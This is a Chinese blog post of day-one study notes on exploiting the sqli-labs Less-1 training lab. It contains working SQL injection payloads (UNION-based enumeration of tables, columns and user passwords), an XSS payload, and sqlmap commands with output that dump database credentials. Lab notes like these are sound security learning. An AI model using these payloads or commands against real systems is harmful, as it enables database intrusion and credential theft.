DAY 1

准备工作

  1. 安装phpstudy
  2. 安装配置sqli-labs

学习笔记

  • SQL语句的注释:–, #
  • +在URL经过编码后会编码为空格
  • SQL语句的查询语句:SELECT column_name,column_name FROM table_name;
  • SQL查询的条件限制:SELECT column_name,column_name FROM table_name WHERE conditon;

sqli-labs学习

  1. Please input the ID as parameter with numeric value

    • url:localhost/sqli-labs-master/Less-1/
    • 功能尝试:localhost/sqli-labs-master/Less-1/?id=1
    • 猜测:SELECT xxx FROM xxx WHERE id=x;(猜测id为数值型)
    • 尝试注入点:?id=1 and 1=2; --+
      • 原理:形成语句SELECT xxx FROM xxx WHERE id=1 and 1=2; --+;
      • 由于条件不成立,应该不会返回任何结果,则说明存在注入点。
      • 结果:结果显示正常
    • 猜测:SELECT xxx FROM xxx WHERE id=‘x’;(猜测id为文本)
    • 尝试注入点:?id=1’ and 1=2; --+
      • 结果:返回空白,存在注入点
    • 字段数猜解:?id=1’ ORDER BY n; --+(注意空格替换为+,其中n为猜解的字段数,如果报错,则说明猜解大于实际,如此进行二分猜解)
      • 原理:ORDER BY 是按照某一字段排序,可以跟字段名,也可以是字段序号
      • 结果:字段数为3
    • 回显点查询:?id=999’ UNION SELECT 1,2,3; --+
      • 原理:

        1. UNION为联合查询语句,与前面的查询一起返回记录
        2. SELECT 语句直接跟上常量,会把常量直接作为记录返回
      • 注意:前面的id改为一个不存在的记录,防止第一个SELECT语句占用回显点
      • 结果:显示了2和3
    • 查询数据库版本与路径:id=999’ UNION SELECT 1,@@version,@@datadir; --+
      • 原理:@@version显示数据库版本,@@datadir显示数据库文件的绝对路径
    • 查询用户与数据库:id=999’ UNION SELECT 1,user(),database(); --+
    • 查询所有表名:?id=999’ UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=‘security’; --+
      • 结果:security数据库中的表——emails,referers,uagents,users
    • 查询所有列名:?id=999’ UNION SELECT 1,2,group_concat(column_name) FROM infromation_schema.columns WHERE table_name=‘users’; --+
      • 结果:users表的字段——user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
    • 获得用户名和密码:?id=999’ UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users; --+
      • 结果:

          | username | password   |
          | -------- | --------   |
          | Dumb     | Dumb       |
          | Angelina | I-kill-you |
          | Dummy    | p@assword  |
          | ......   | ......     |
        
    • xss:?id=999’ UNION SELECT 1,"<script>alert(’/xss/’);</script>",3; --+
    • sqlmap使用:
      1. 测试命令:python sqlmap.py
      2. 检测注入点:python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1
        • -u参数:指定url
        • -p参数:指定某一个参数,只有一个参数可以省略,如python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” -p id
        • 结果:
          Parameter: id (GET)
          
              Type: boolean-based blind
              Title: AND boolean-based blind - WHERE or HAVING clause
              Payload: id=1' AND 2060=2060 AND 'ZMrl'='ZMrl
          
              Type: error-based
              Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
          ause (FLOOR)
              Payload: id=1' AND (SELECT 1251 FROM(SELECT COUNT(*),CONCAT(0x7170767871,(SE
          LECT (ELT(1251=1251,1))),0x7171717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA
          .PLUGINS GROUP BY x)a) AND 'JIIM'='JIIM
          
              Type: AND/OR time-based blind
              Title: MySQL >= 5.0.12 AND time-based blind
              Payload: id=1' AND SLEEP(5) AND 'QAZn'='QAZn
          
              Type: UNION query
              Title: Generic UNION query (NULL) - 3 columns
              Payload: id=-1434' UNION ALL SELECT NULL,NULL,CONCAT(0x7170767871,0x6b504b575852654d52446e4c4c66695279724a6b566551444b4f525a63757861744269644772546f,0x7171717871)-- RGjJ
          ---
          [15:09:24] [INFO] the back-end DBMS is MySQL
          web server operating system: Windows
          web application technology: PHP 5.4.45, Apache 2.4.23
          back-end DBMS: MySQL >= 5.0
          

          从中可以看出注入参数为id,注入点支持基于布尔类型的注入,基于错误回显的注入、时间延迟的盲注还有联合查询。数据库类型为MySQL,操作系统是Windows,服务器类型是PHP5.4与Apache2.4,数据库版本大于5.0。

      3. 获取当前用户与当前数据库:python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-user --current-db
        • current-user参数:获取当前用户
        • current-db参数:获取当前数据库
      4. 查询数据库中的所有表:python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security --tables
        • -D参数:指定当前数据库
        • –tables参数:查询当前数据库所有表
      5. 查询字段名:python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security -T users --columns
        • -T参数:指定当前表
        • –columns参数:查询当前表所有字段名
      6. 查询所有记录:python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security -T users -C “username,password” --dump
        • -C参数:指定字段
        • –dump:查询记录

sqli-labs学习笔记 DAY1的更多相关文章

  1. OpenCV图像处理学习笔记-Day1

    OpenCV图像处理学习笔记-Day1 目录 OpenCV图像处理学习笔记-Day1 第1课:图像读入.显示和保存 1. 读入图像 2. 显示图像 3. 保存图像 第2课:图像处理入门基础 1. 基本 ...

  2. 商业爬虫学习笔记day1

    day1 一. HTTP 1.介绍: https://www.cnblogs.com/vamei/archive/2013/05/11/3069788.html http://blog.csdn.ne ...

  3. python网络爬虫与信息提取 学习笔记day1

    Day1: 安装python之后,为其配置requests第三方库,并爬取百度主页内容. 语句解释: r.status_code检测请求的状态码,如果状态码为200,则说明访问成功,否则,则说明访问失 ...

  4. Python3学习笔记 - day1

    前言 本文不是一篇系统的从零开始学习Python的教程,如果你需要从零开始学习Python,廖雪峰的官方网站中Python教程这部分将是比较好的一种选择,如果你英语比较好,也可以在国外的一些网站上找到 ...

  5. Python学习笔记 - day1 - 概述及安装

    Python概述 Python是一种计算机程序设计语言.我们平时已经听说过很多种流行的编程语言,比如非常难学的C语言,非常流行的Java语言,适合网页编程的JavaScript语言等等. Python ...

  6. oracle学习笔记day1

    oracle数据库前言 oracle sqllesson1 Selecting Rowslesson2 Sorting & Limiting Selected Rowslesson3 Sing ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. Python学习笔记——Day1

    突破从改变开始,一行行字符,熟悉的感觉,还是那个味儿...呀哈哈哈 一.变量 变量是计算机语言中能存储计算结果或能表示值的抽象概念,变量可以通过变量名访问.调用及修改.变量通常表示可变状态,即具有存储 ...

  9. [python学习笔记]Day1

    初识python 第一个python程序: print('Hello,Python') >>>Hello,Python python2与python3的一些主要的区别: 1.在pyt ...

随机推荐

  1. SpirteKit深度复制SKSpriteNode节点及convert转换其它Scene上的节点到当前场景坐标

    Playground输出的代码 ,注意右侧打印出的SpriteNode输出值,HAPPY_NODE的输出信息一致. SpriteNode //MARK:- 扩展SkSpriteNode属性 exten ...

  2. iOS audio不支持循环播放

    解决办法:监听播放完成事件(注意点,audio标签不能设置循环播放,去除标签 loop="loop"或者 loop="false",不然不走播放完成事件) $( ...

  3. shell习题第7题:备份数据库

    [题目要求] 设计一个shell脚本用来备份数据库,首先在本地服务器上保存一份数据,然后再远程拷贝一份,本地保存一周的数据,远程保存一个月 假设我们知道mysql root账号的密码,要备份的库为da ...

  4. 1.Hadoop集群安装部署

    Hadoop集群安装部署 1.介绍 (1)架构模型 (2)使用工具 VMWARE cenos7 Xshell Xftp jdk-8u91-linux-x64.rpm hadoop-2.7.3.tar. ...

  5. 韦东山linux学习之ubuntu 9.10 软件源 问题

    跟着开发板视频学习,安装了ubuntu9.10,然而由于现在官方已经不再提供软件更新的服务,软件我一直安装不上,搞了两天终于解决了. 一.安装VMware,配置等等就不详细说了,安装好系统后,网能连上 ...

  6. 树莓3B+_apt-get update && apt-get upgrade

    在Windows下安装软件,我们只需要有EXE文件,然后双击,下一步直接OK就可以了.但在LINUX下,不是这样的.每个LINUX的发行版,都会维护一个自己的软件仓库,我们常用的几乎所有软件都在这里面 ...

  7. [FreeRTOS入门] 1.CubeMX中FreeRTOS配置参数及理解

    1.有关优先级 1.1 Configuration --> FreeRTOS MAX_PRIORITIES 设置任务优先级的数量:配置应用程序有效的优先级数目.任何数量的任务都可以共享一个优先级 ...

  8. Python学习 :异常处理

    异常处理 什么是异常处理 - python解释器检测到错误,触发异常(也允许程序员自己触发了异常) - 程序员编写特定的代码,专门用来捕捉这个异常(这段代码与程序逻辑无关,只与异常处理有关) - 如果 ...

  9. (杭电 2045)不容易系列之(3)—— LELE的RPG难题

    不容易系列之(3)-- LELE的RPG难题 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Othe ...

  10. c语言智能指针 附完整示例代码

    是的,你没有看错, 不是c++不是c#, 就是你认识的那个c语言. 在很长一段时间里,c的内存管理问题, 层出不穷,不是编写的时候特别费劲繁琐, 就是碰到内存泄漏排查的各种困难, 特别在多线程环境下, ...